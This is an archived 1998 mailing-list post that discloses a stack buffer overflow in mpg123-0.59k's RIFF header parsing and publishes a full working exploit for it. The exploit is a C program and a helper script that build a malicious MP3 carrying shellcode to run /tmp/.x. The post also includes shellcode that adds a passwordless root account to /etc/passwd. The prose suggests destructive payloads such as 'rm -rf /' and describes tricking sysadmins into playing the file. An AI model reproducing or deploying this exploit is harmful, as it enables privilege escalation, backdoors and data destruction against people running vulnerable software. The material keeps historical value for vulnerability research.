mpg123-0.59k bufferoverflow.

From: Joel Eriksson (na98jenat_private)
Date: Sun Nov 01 1998 - 03:09:35 PST

  • Next message: M.C.Mar: "Some revelations about ssh and stackpatch"

    I found a bufferoverflow in mpg123-0.59k. The most recent version,
    mpg123-0.59o is not vulnerable though, so I guess the developers have
    found the bug already or that they have made changes in the code that
    had the sideeffect of eliminating this problem.
    
    This is what causes the overflow:
    -- common.c
    [snip]
                            if(newhead == ('R'<<24)+('I'<<16)+('F'<<8)+'F') {
                                    char buf[40];
                                    fprintf(stderr,"Skipped RIFF header\n");
                                    fread(buf,1,68,filept);
                                    goto read_again;
                            }
    [snip]
    --
    
    If the file has "RIFF" as a header a 40-chars buffer will be allocated and
    *68* bytes will be read to it. That's enough to overwrite the saved
    returnaddress on the stack.
    
    As you can see it's a rather small buffer to overflow and it may seem hard
    to do something useful. I managed to make an exploit for the bug though,
    it's not particularly useful when the attacker does not have an account on
    the system that the MP3 is played on, but an rm -rf / would probably fit
    in the 48 bytes we can work with. :-P As would a routine that reads X
    more bytes from the still open filedescriptor and jmp's to the beginning
    of the code that can do whatever you want. So a "remote exploit" is
    certainly possible if you succeed in some stackprediction..
    
    The returnaddress seems to stay the same on the same system. I did a
    script to get the %esp when the program returns into the unknown, which
    can be given as an argument to my exploit which will subtract 0x4C from
    it, which has been proven to work on the two Linux-systems I have at home.
    
    Finally, something for the sCr1p+-k1dD13z, this will create a 56 bytes MP3
    that executes /tmp/.x which could for example be a program that checks the
    UID and if run by root creates a new account / SUID-shell / installs
    backdoors / whatever, and if run by a user adds entries to their .rhosts
    or something.. I have included a 93 bytes buffer with machinecode to
    create a new root-account on the system which I planned to read in and
    jmp to with the 48 bytes we can use in the overflow. Have not had the time
    to fix some problems with this method though, so you'll have to satisfy
    with this if you don't want to code it yourself.
    
    For those who haven't figured that out yet you'll have to get someone to
    try to listen to the damn thing too. :-) (I say this in the comments to
    the src to, but noone seems to read those damn comments anyway so..) You
    could for example mail the file to other users / the sysadmin, or just
    have it in /tmp or your homedir and wait 'til someone gets curious..
    
    --- mp3exp.c START [cut here]
    /*
    ** Exploit for mpg123-0.59k, Linux x86.
    **
    --- calcaddr.sh START
    #!/bin/sh
    
    perl -e 'print "RIFF" . "A"x56'>bof.mp3
    mpg123 bof.mp3 2> /dev/null
    echo info all-registers \
    |gdb mpg123 core 2>/dev/null|egrep "^esp"|awk '{print $2}'
    --- calcaddr.sh END
    **
    ** Give the address shown by calcaddr.sh as the first argument to
    ** this exploit, and it will handle the rest.. (e.g. subtract 0x4C
    ** from the address given) OBS! If you do what the script does manually
    ** you will not get the same result. Then CALCOFFSET should be 0x34 instead.
    **
    ** mpg123-0.59o is not vulnerable, previous versions not checked.
    **
    ** DESCRIPTION:
    **
    ** Makes an MP3-file that executes a program when played with mpg123-0.59k.
    ** Will be more useful when I have succeded in making it add an account,
    ** the problem is that we only have 48 bytes to work with and my code
    ** to add a new account takes 93 bytes.
    **
    ** For those who have not understood that yet, the trick is too get
    ** *someone*else* to play the MP3 using mpg123. You could for example
    ** mail the file to the sysadmin or just have it in /tmp and name it
    ** something like k3w1-mUz4c.MP3 or whatever may seem appropriate. :-)
    **
    ** Plan:  In the 48 bytes I can put my code I'll make a routine that
    **        just allocates a buffer, reads in the 93 bytes required to add
    **        an account and jmp's to the beginning of the code.
    **
    ** (C) 1998/10/31, Joel Eriksson - Chaoz on IRCNet.
    **
    ** Disclaimer: This program is for informational purposes only.
    **             I can not be held responsible for any use or misuse
    **             of this program. And so on, the usual stuff..
    */
    
    #include <stdio.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <errno.h>
    #include <limits.h>
    
    #define ADDRLEN         4
    #define DEFAULT_OFFSET  -0x88;
    #define CALCOFFSET      -0x4C
    /*
    ** When the address is calculated in a subshell (e.g. using the script
    ** included with this sourcecode) the offset is -0x4C, but when it is
    ** calculated manually in the lowest shell-level the offset is -0x34.
    */
    #define MP3NAME         "bof.mp3"
    
    const char FILLCHAR =   '.';
    
    /*
    ** Standard shellcode, made by Aleph One, published in Phrack #49
    ** Modified to execute /tmp/.x instead of /bin/sh.
    **
    ** /tmp/.x could for example add an account, create a SUID-root shell
    ** or if run by an ordinary user add an entry to their .rhosts, create
    ** a SUID-user shell or something else that seems like a good idea.
    */
    char shellcode[] =
            "\xeb\x1f"              // jmp  0x1f
            "\x5e"                  // popl %esi
            "\x89\x76\x08"          // movl %esi,0x8(%esi)
            "\x31\xc0"              // xorl %eax,%eax
            "\x88\x46\x07"          // movb %al,0x7(%esi)
            "\x89\x46\x0c"          // movl %eax,0xc(%esi)
            "\xb0\x0b"              // movb $0xb,%al
            "\x89\xf3"              // movl %esi,%ebx
            "\x8d\x4e\x08"          // leal 0x8(%esi),%ecx
            "\x8d\x56\x0c"          // leal 0xc(%esi),%edx
            "\xcd\x80"              // int  $0x80
            "\x31\xdb"              // xorl %ebx,%ebx
            "\x89\xd8"              // movl %ebx,%eax
            "\x40"                  // inc  %eax
            "\xcd\x80"              // int  $0x80
            "\xe8\xdc\xff\xff\xff"  // call -0x24
            "/tmp/.x";              // .string "/bin/sh"
    // 46 bytes
    
    /*
    ** To execute something else than /tmp/.x just change the last string,
    ** but remember that it must be a 7 bytes string. It's possible to
    ** change the shellcode to execute a command with a longer path than
    ** 7 bytes by changing the offsets from %esi, which is not too hard
    ** if you know some assembler.
    */
    
    /*
    ** Code to add user to passwd-file, made by me. Not used in this
    ** particular exploit yet, but ideally it'd be read in and executed
    ** by the 48 bytes that I have used to execute a shell in this exploit.
    ** This way the exploit becomes more interesting since it can be exploited
    ** remotely. We need to do some stackprediction though..
    **
    ** If someone makes an exploit that uses this code, make sure to include
    ** me in the greetings.
    */
    char addusercode[] =
            "\xeb\x3d"              // jmp  0x3d
            "\x5e"                  // popl %esi
            "\x89\x76\x1a"          // movl %esi,0x1a(%esi)
            "\x31\xc0"              // xorl %eax,%eax
            "\x88\x46\x0b"          // movb %al,0x0b(%esi)
            "\x83\xc6\x0c"          // addl $0x0c,%esi
            "\x89\x76\x12"          // movl %esi,0x12(%esi)
            "\x83\xee\x0c"          // subl $0x0c,%esi
            "\x31\xc0"              // xorl %eax,%eax
            "\x88\x46\x19"          // movb %al,0x19(%esi)
            "\x8b\x5e\x1a"          // movl 0x1a(%esi),%ebx
            "\x31\xc9"              // xorl %ecx,%ecx
            "\xb5\x04"              // movb $0x4,%ch
            "\xb1\x01"              // movb $0x1,%cl
            "\x31\xc0"              // xorl %eax,%eax
            "\xb0\x05"              // movb $0x5,%al
            "\xcd\x80"              // int  $0x80
            "\x89\xc3"              // movl %eax,%ebx
            "\x8b\x4e\x1e"          // movl 0x1e(%esi),%ecx
            "\x31\xd2"              // xorl %edx,%edx
            "\xb2\x0d"              // movb $13,%edx
            "\x31\xc0"              // xorl %eax,%eax
            "\xb0\x04"              // movb $0x4,%al
            "\xcd\x80"              // int  $0x80
            "\x31\xdb"              // xorl %ebx,%ebx
            "\x31\xc0"              // xorl %eax,%eax
            "\xb0\x01"              // movb $0x1,%al
            "\xcd\x80"              // int  $0x80
            "\xe8\xbe\xff\xff\xff"  // call -0x46
            "/etc/passwd."          // .string "/etc/passwd"
            "r00t::0:0:::\x0a";     // .string "r00t::0:0:::\n"
    // 93 bytes
    
    unsigned long getsp()
    {
            __asm("mov %esp, %eax");
    }
    
    int main(int argc, char **argv)
    {
            unsigned long addr;
            char *addr_ptr = (char*)&addr;
            int fd, i;
            char *filename = MP3NAME;
    
            addr = getsp() + DEFAULT_OFFSET;
    
            if(argc > 1) {
                    /*
                    ** This is UGLY coding. :-) strtol() overflows for some reason
                    ** when just doing one strtol() on argv[1].
                    */
                    char *strptr = argv[1];
                    char *numptr;
                    char cur[3];
                    char temp;
                    int i;
    
                    memset(addr_ptr, 0, ADDRLEN);
                    memset(cur, 0, 3);
    
                    if(!strncmp(strptr, "0x", 2)) strptr += 2;
    
                    for(i=0; i<ADDRLEN; i++, strptr+=2) {
                            strncpy(cur, strptr, 2);
                            numptr = (char*)&addr_ptr[(ADDRLEN-1)-i];
                            *numptr = strtol(cur, (char**)NULL, 16) & 0xFF;
                    }
    
                    addr += CALCOFFSET;
            } else {
                    fprintf(stderr, "Warning: Returnaddress may not be accurate.\n");
                    fprintf(stderr, "Use calcaddr.sh (included) to be more precise.\n\n");
            }
            if(argc > 2) filename = argv[2];
            if(argc > 3) {
                    fprintf(stderr, "Usage: %s [<address>] [<filename>]\n", argv[0]);
                    exit(1);
            }
    
            if((fd = open(filename, O_WRONLY|O_CREAT|O_EXCL, 0644)) == -1) {
                    perror("open");
                    fprintf(stderr, "Could not create %s\n", filename);
                    exit(1);
            }
    
            printf("Using address: 0x%lx\n", addr);
    
            write(fd, "RIFF", 4);
            write(fd, shellcode, strlen(shellcode));
            for(i=0; i<48-strlen(shellcode); i++)
                    write(fd, &FILLCHAR, 1);
            for(i=0; i<4; i++)
                    write(fd, &addr_ptr[i], 1);
    
            printf("\nMP3 created in %s.\n", filename);
    
            exit(0);
    }
    -- mp3exp.c END   [cut here]
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:21:41 PDT